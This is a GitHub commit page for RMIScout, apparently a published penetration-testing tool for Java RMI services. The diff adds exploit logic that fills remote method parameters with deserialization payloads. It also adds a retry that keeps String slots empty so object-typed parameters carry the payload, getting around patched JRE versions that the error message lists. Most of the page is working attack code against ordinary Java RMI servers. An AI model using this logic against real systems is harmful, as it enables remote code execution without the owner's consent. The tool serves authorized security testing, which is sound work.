Skip to content

Commit

Permalink
Exploit error handling for newer JRE versions
Browse files Browse the repository at this point in the history
Exploit performs workaround when other non-primives are available.
Strings are not exploitable in newer versions of JRE
  • Loading branch information
the-bumble committed Sep 14, 2020
1 parent 3244734 commit 8a576bb
Show file tree
Hide file tree
Showing 6 changed files with 74 additions and 12 deletions.
2 changes: 1 addition & 1 deletion build.gradle
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ plugins {
}

group 'com.bishopfox.rmiscout'
version '1.03.1-SNAPSHOT'
version '1.03.2-SNAPSHOT'

mainClassName = 'com.bishopfox.rmiscout.RMIScout'

Expand Down
2 changes: 1 addition & 1 deletion demo/com/bishopfox/example/Server.java
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ public Server() {}
public String sayHello() { return "Remote Executed!"; }
public String restart() { return "Remote Executed!"; }
public boolean login(String email, String password) { return true; }
public String sayHello(String name) { return "Remote Executed!"; }
public String sayHello(String name, List test) { return "Remote Executed!"; }
public String sayNumber(int name) { return "Remote Executed!"; }
public String sayTest1(int name) { return "Remote Executed!"; }
public String sayTest2(byte name) { return "Remote Executed!"; }
Expand Down
1 change: 1 addition & 0 deletions demo/wordlist.txt
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
java.util.ArrayList say2things(String test, int test)
String sayHello(java.lang.String test, java.util.List test)
String sayTest(Object test)
String sayTest1(int name)
String sayTest2(byte name)
Expand Down
4 changes: 2 additions & 2 deletions rmiscout.sh
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
#!/bin/bash

if [[ ! -f build/libs/rmiscout-1.03.1-SNAPSHOT-all.jar ]]; then
if [[ ! -f build/libs/rmiscout-1.03.2-SNAPSHOT-all.jar ]]; then
./gradlew shadowJar
fi
java -jar build/libs/rmiscout-1.03.1-SNAPSHOT-all.jar "$@"
java -jar build/libs/rmiscout-1.03.2-SNAPSHOT-all.jar "$@"
75 changes: 68 additions & 7 deletions src/main/java/com/bishopfox/rmiscout/RMIConnector.java
Original file line number Diff line number Diff line change
Expand Up @@ -254,6 +254,33 @@ public void checkAndCreateTypes(String sig) {
}
}
}
private boolean checkExploitableParam() {
for (Map.Entry<String, Remote> pair : remoteRefs.entrySet()) {
Method[] methods = null;

String registryName = pair.getKey();
Remote stub = pair.getValue();

try {
methods = customClassLoader.loadClass(registryName).getDeclaredMethods();
} catch (ClassNotFoundException e) {
e.printStackTrace();
break;
}

// Iterate over each method
for (Method me : methods) {
String methodSignature = me.toString();
for (Class c : me.getParameterTypes()) {
if (c != java.lang.String.class) {
return true;
}
}
}
}
return false;
}


public void exploit(String payloadName, String command) {
Class clz = null;
Expand All @@ -275,24 +302,35 @@ public void exploit(String payloadName, String command) {
System.exit(1);
}

if(!execute(payload)) {
System.err.println(Colors.RED + "[ERROR] Payload was not invoked. Check the accuracy of the signature. Ex: \"boolean login(java.lang.String a, java.lang.String b)\"" + Colors.ENDC);
// Check for universally exploitable param (i.e., non-primitives other than java.lang.String)
boolean exploitableParam = checkExploitableParam();

// Try preserving strings during execution if first try fails
if(!execute(payload, false) && !execute(payload, true)) {
if (exploitableParam) {
System.err.println(Colors.RED + "[ERROR] Payload was not invoked. Check the accuracy of the signature." + Colors.ENDC);
} else {
System.err.println(Colors.RED + "[ERROR] Server-side JRE (>=8u242-b07, >=11.0.6+10, >=13.0.2+5, >=14.0.1+2) can't be exploited by java.lang.String types" + Colors.ENDC);
}
} else {
System.out.println("Executed");
}
}

public void checkIfPresent() {
try {
execute(dummyClass.newInstance());
execute(dummyClass.newInstance(), false);
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}

public boolean execute(Object payload) {
public boolean execute(Object payload, boolean preserveStrings) {
if (preserveStrings) {
System.out.println("[INFO] Re-running execute without overwriting java.lang.String types.");
}
// Iterate for each registry name
for (Map.Entry<String, Remote> pair : remoteRefs.entrySet()) {
Method[] methods = null;
Expand All @@ -315,12 +353,35 @@ public boolean execute(Object payload) {

// Load payload or dummy object into param slots
Object[] params = new Object[me.getParameterCount()];
Arrays.fill(params, payload);
if (!preserveStrings) {
Arrays.fill(params, payload);
} else {
int i = 0;
for (Class c : me.getParameterTypes()) {
if (c == java.lang.String.class) {
params[i] = "";
} else {
params[i] = payload;
}
i++;
}
}

// Create fake parameter types for payload
Class[] fakeParameterTypes = new Class[me.getParameterCount()];
Arrays.fill(fakeParameterTypes, payload.getClass());

if (!preserveStrings) {
Arrays.fill(fakeParameterTypes, payload.getClass());
} else {
int i = 0;
for (Class c : me.getParameterTypes()) {
if (c == java.lang.String.class) {
fakeParameterTypes[i] = java.lang.String.class;
} else {
fakeParameterTypes[i] = payload.getClass();
}
i++;
}
}
// Bypass internal call flow for custom params
RemoteRef ref = null;
if (this.isActivationServer) {
Expand Down
2 changes: 1 addition & 1 deletion src/main/java/com/bishopfox/rmiscout/RMIScout.java
Original file line number Diff line number Diff line change
Expand Up @@ -178,7 +178,7 @@ public static void main(String[] args) {

rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false, ns.get("activation_server"));
for (String classname : classnames) {
rmisearch.execute(gp.getObject(classname));
rmisearch.execute(gp.getObject(classname), false);
}
break;
}
Expand Down

0 comments on commit 8a576bb

Please sign in to comment.